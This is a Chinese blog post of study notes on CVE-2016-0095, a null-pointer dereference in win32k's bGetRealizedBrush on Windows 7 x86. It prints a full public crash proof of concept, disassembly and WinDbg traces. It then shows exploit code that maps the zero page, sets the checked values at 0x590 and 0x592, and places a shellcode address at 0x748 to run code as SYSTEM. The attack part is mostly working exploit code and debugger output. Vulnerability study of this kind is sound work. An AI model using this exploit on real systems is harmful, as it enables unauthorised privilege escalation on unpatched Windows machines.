百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程网 > 正文

CVE-2016-0095提权漏洞学习笔记

yuyutoo 2024-11-26 10:37 1 浏览 0 评论

一.前言

1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的,是一个内核空指针解引用的漏洞,利用该漏洞可以完成提权操作。由于有公开的POC,所以对这个漏洞的分析和利用就变得简单,POC代码如下:

/**
 * Author: bee13oy of CloverSec Labs
 * BSoD on Windows 7 SP1 x86 / Windows 10 x86
 * EoP to SYSTEM on Windows 7 SP1 x86
**/
 
#include <Windows.h>
 
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
 
#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif
 
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
 
    bitmap.bmBits = bits;
 
    SetLastError(NO_ERROR);
 
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
 
    return (unsigned int)hBitmap;
}
 
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
 
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1)
{
    HMODULE _H_NTDLL = NULL;
    PVOID addr_kifastsystemcall = NULL;
    _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
    addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
 
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
 
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
 
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
 
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
 
int main()
{
    Trigger_BSoDPoc();
 
    return 0;
}

2.实验环境

  • 操作系统:Win7 x86 sp1
  • 编译器:Visual Studio 2017
  • 调试器:IDA,WinDbg

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

二.漏洞分析

编译运行POC,根据信息可以得知,崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。崩溃的原因是此时的eax为0,函数要对[eax + 0x24]这个地址中的数据进行验证的时候,会因为[0x24]不是个合法地址而产生崩溃。

kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
96980560 f6402401        test    byte ptr [eax+24h],1
1: kd> r eax
eax=00000000
1: kd> k
ChildEBP RetAddr  
9c3339a0 969834af win32k!bGetRealizedBrush+0x38
9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f
9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337
9c333a54 96a7bb9d win32k!EngPaint+0x51
9c333c20 83e781ea win32k!NtGdiFillRgn+0x339
9c333c20 77c270b4 nt!KiFastCallEntry+0x12a
0012feac 77dd066b ntdll!KiFastSystemCallRet
0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc
0012fed0 0042ba63 gdi32!FillRgn+0xb2

根据偏移,可以在IDA中找到相应的代码,根据IDA的解析,可以知道,此时是因为EBRUSHOBJ偏移0x34中的数据为0导致了崩溃

.text:BF840543 loc_BF840543:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j
.text:BF840543                 push    ebx
.text:BF840544                 mov     ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]  ; 将ebx偏移0x34中保存的数据赋给eax
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+var_2C], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax
.text:BF840560                 test    byte ptr [eax+24h], 1 ; 崩溃产生的地点
.text:BF840564                 mov     [ebp+var_1C], esi
.text:BF840567                 mov     [ebp+var_10], esi
.text:BF84056A                 jz      short loc_BF84057A

三.漏洞利用

产生崩溃的原因是因为此时0地址并不是合法的地址,因此,只需要在0地址中申请一块内存,让0地址合法就可以防止崩溃,让程序继续运行。同时,该函数中存在函数调用,通过更改相关数据可以执行ShellCode。

在bGetRealizedBrush函数中,一共有三个地方执行了函数调用。其中的两个位置内容如下,都是通过第三个参数进行函数调用。由于无法控制第三个参数,所以这两个位置并不可以被利用。

.text:BF840763 loc_BF840763:                          
.text:BF840763                 or      eax, 80000000h
.text:BF840768                 push    eax
.text:BF840769                 push    esi
.text:BF84076A                 push    esi
.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax
.text:BF840773                 jz      short loc_BF84077D
    。。。
.text:BF840C27 loc_BF840C27:                       
.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]

另一个位置是可以利用的,因为ebx在上面赋值为第二个参数,也就是EBRUSHOBJ结构体以后就没有发生改把。所以,此时的eax就是EBRUSHOBJ偏移0x34的数据,也就是0。所以,只要将0x748地址中的内容赋值为ShellCode的地址,就会在下面因为执行call edi而成功执行ShellCode完成提权。

.text:BF8407E4                 mov     eax, [ebx+34h]  ; eax=EBRUSHOBJ偏移0x34的数据
.text:BF8407E7                 xor     ecx, ecx
.text:BF8407E9                 cmp     dword ptr [eax+3Ch], 1
.text:BF8407ED                 mov     eax, [ebp+arg_4]
.text:BF8407F0                 mov     edi, [eax+748h] ; edi = [eax+0x748] = [0x748]
.text:BF8407F6                 setz    cl
.text:BF8407F9                 inc     ecx
.text:BF8407FA                 mov     [ebp+var_14], ecx
.text:BF8407FD                 cmp     edi, esi
.text:BF8407FF                 jz      short loc_BF840823
.text:BF840801                 test    dword ptr [eax+24h], 8000h
.text:BF840808                 jnz     short loc_BF840810
.text:BF84080A                 mov     eax, [eax+464h]
.text:BF840810
.text:BF840810 loc_BF840810:                           ;
.text:BF840810                 mov     ecx, [ebp+var_2C]
.text:BF840813                 mov     ecx, [ecx+2Ch]
.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi             ; 调用函数
.text:BF840821                 jmp     short loc_BF840837

要达到此处的函数调用,需要绕过如下的两处验证。此时的eax和esi都是0,所以这两处就是在验证[0x590]和[0x592]是否为0。

.text:BF840799 loc_BF840799:                           
.text:BF840799                 movzx   edx, word ptr [eax+590h]
.text:BF8407A0                 cmp     dx, si
.text:BF8407A3                 jz      loc_BF8406F7    ; [0x590]是否为0
.text:BF8407A9                 add     eax, 592h
.text:BF8407AE                 cmp     [eax], si
.text:BF8407B1                 jz      loc_BF8406F7    ; [0x592]是否为0

如果跳转到loc_BF8406F是无法达到函数调用的地方完成提权,所以这两个地方都不能是0。因此,在0地址申请内存以后,除了在0x748赋值ShellCode地址以外,还需要将0x590和0x592赋值为非0值。

BOOL Init_2016_0095()
{
    BOOL bRet = TRUE;
 
    if (!AllocateZeroMemory())
    {
        bRet = FALSE;
        goto exit;
    }
 
    *(PWORD)0x590 = 0x1;
    *(PWORD)0x592 = 0x1;
    *(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;
 
exit:
    return bRet;
}

在崩溃点下断点以后,运行exp。此时,因为0地址有效,所以此时不会发生崩溃,程序可以继续向下运行。

3: kd> ba e1 win32k!bGetRealizedBrush+0x38
3: kd> g
Breakpoint 0 hit
win32k!bGetRealizedBrush+0x38:
96de0560 f6402401        test    byte ptr [eax+24h],1
0: kd> p
win32k!bGetRealizedBrush+0x3c:
96de0564 8975e4          mov     dword ptr [ebp-1Ch],esi
0: kd> r eax
eax=00000000

继续向下运行到第一处验证,此时si为0,而由于0x590被写入了1,所以dx不为0,不会发生跳转。

1: kd> p
win32k!bGetRealizedBrush+0x271:
96de0799 0fb79090050000  movzx   edx,word ptr [eax+590h]
1: kd> p
win32k!bGetRealizedBrush+0x278:
96de07a0 663bd6          cmp     dx,si
1: kd> p
win32k!bGetRealizedBrush+0x27b:
96de07a3 0f844effffff    je      win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r dx
dx=1
1: kd> r si
si=0
1: kd> r eax
eax=00000000

继续运行到第二处验证,此时同理,不会发生跳转。

1: kd> p
win32k!bGetRealizedBrush+0x281:
96de07a9 0592050000      add     eax,592h
1: kd> p
win32k!bGetRealizedBrush+0x286:
96de07ae 663930          cmp     word ptr [eax],si
1: kd> p
win32k!bGetRealizedBrush+0x289:
96de07b1 0f8440ffffff    je      win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r si
si=0
1: kd> r eax
eax=00000592
1: kd> db 00000592
00000592  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000005a2  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

继续运行,到将0x748地址中的内容赋值给edi,此时的edi就会是ShellCode的地址。

1: kd> p
win32k!bGetRealizedBrush+0x2c8:
96de07f0 8bb848070000    mov     edi,dword ptr [eax+748h]
1: kd> p
win32k!bGetRealizedBrush+0x2ce:
96de07f6 0f94c1          sete    cl
1: kd> r edi
edi=00401050

当运行到函数调用处,edi保存的依然是ShellCode的地址

1: kd> p
win32k!bGetRealizedBrush+0x2f1:
96de0819 51              push    ecx
1: kd> p
win32k!bGetRealizedBrush+0x2f2:
96de081a 52              push    edx
1: kd> p
win32k!bGetRealizedBrush+0x2f3:
96de081b ff75ec          push    dword ptr [ebp-14h]
1: kd> p
win32k!bGetRealizedBrush+0x2f6:
96de081e 50              push    eax
1: kd> p
win32k!bGetRealizedBrush+0x2f7:
96de081f ffd7            call    edi
1: kd> r edi
edi=00401050

继续执行,就会执行ShellCode的代码完成提权

最终,程序会成功提权,如下图所示:

相关推荐

史上最全的浏览器兼容性问题和解决方案

微信ID:WEB_wysj(点击关注)◎◎◎◎◎◎◎◎◎一┳═┻︻▄(页底留言开放,欢迎来吐槽)●●●...

平面设计基础知识_平面设计基础知识实验收获与总结
平面设计基础知识_平面设计基础知识实验收获与总结

CSS构造颜色,背景与图像1.使用span更好的控制文本中局部区域的文本:文本;2.使用display属性提供区块转变:display:inline(是内联的...

2025-02-21 16:01 yuyutoo

写作排版简单三步就行-工具篇_作文排版模板

和我们工作中日常word排版内部交流不同,这篇教程介绍的写作排版主要是用于“微信公众号、头条号”网络展示。写作展现的是我的思考,排版是让写作在网格上更好地展现。在写作上花费时间是有累积复利优势的,在排...

写一个2048的游戏_2048小游戏功能实现

1.创建HTML文件1.打开一个文本编辑器,例如Notepad++、SublimeText、VisualStudioCode等。2.将以下HTML代码复制并粘贴到文本编辑器中:html...

今天你穿“短袖”了吗?青岛最高23℃!接下来几天气温更刺激……

  最近的天气暖和得让很多小伙伴们喊“热”!!!  昨天的气温到底升得有多高呢?你家有没有榜上有名?...

CSS不规则卡片,纯CSS制作优惠券样式,CSS实现锯齿样式

之前也有写过CSS优惠券样式《CSS3径向渐变实现优惠券波浪造型》,这次再来温习一遍,并且将更为详细的讲解,从布局到具体样式说明,最后定义CSS变量,自定义主题颜色。布局...

柠檬科技肖勃飞:大数据风控助力信用社会建设

...

你的自我界限够强大吗?_你的自我界限够强大吗英文

我的结果:A、该设立新的界限...

行内元素与块级元素,以及区别_行内元素和块级元素有什么区别?

行内元素与块级元素首先,CSS规范规定,每个元素都有display属性,确定该元素的类型,每个元素都有默认的display值,分别为块级(block)、行内(inline)。块级元素:(以下列举比较常...

让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华
让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华

去年的两会期间,习近平总书记在参加人大会议四川代表团审议时,对治蜀兴川提出了明确要求,指明了前行方向,并带来了“祝四川人民的生活越来越安逸”的美好祝福。又是一年...

2025-02-21 16:00 yuyutoo

今年国家综合性消防救援队伍计划招录消防员15000名

记者24日从应急管理部获悉,国家综合性消防救援队伍2023年消防员招录工作已正式启动。今年共计划招录消防员15000名,其中高校应届毕业生5000名、退役士兵5000名、社会青年5000名。本次招录的...

一起盘点最新 Chrome v133 的5大主流特性 ?

1.CSS的高级attr()方法CSSattr()函数是CSSLevel5中用于检索DOM元素的属性值并将其用于CSS属性值,类似于var()函数替换自定义属性值的方式。...

竞走团体世锦赛5月太仓举行 世界冠军杨家玉担任形象大使

style="text-align:center;"data-mce-style="text-align:...

学物理能做什么?_学物理能做什么 卢昌海

作者:曹则贤中国科学院物理研究所原标题:《物理学:ASourceofPowerforMan》在2006年中央电视台《对话》栏目的某期节目中,主持人问过我一个的问题:“学物理的人,如果日后不...

你不知道的关于这只眯眼兔的6个小秘密
你不知道的关于这只眯眼兔的6个小秘密

在你们忙着给熊本君做表情包的时候,要知道,最先在网络上引起轰动的可是这只脸上只有两条缝的兔子——兔斯基。今年,它更是迎来了自己的10岁生日。①关于德艺双馨“老艺...

2025-02-21 16:00 yuyutoo

取消回复欢迎 发表评论: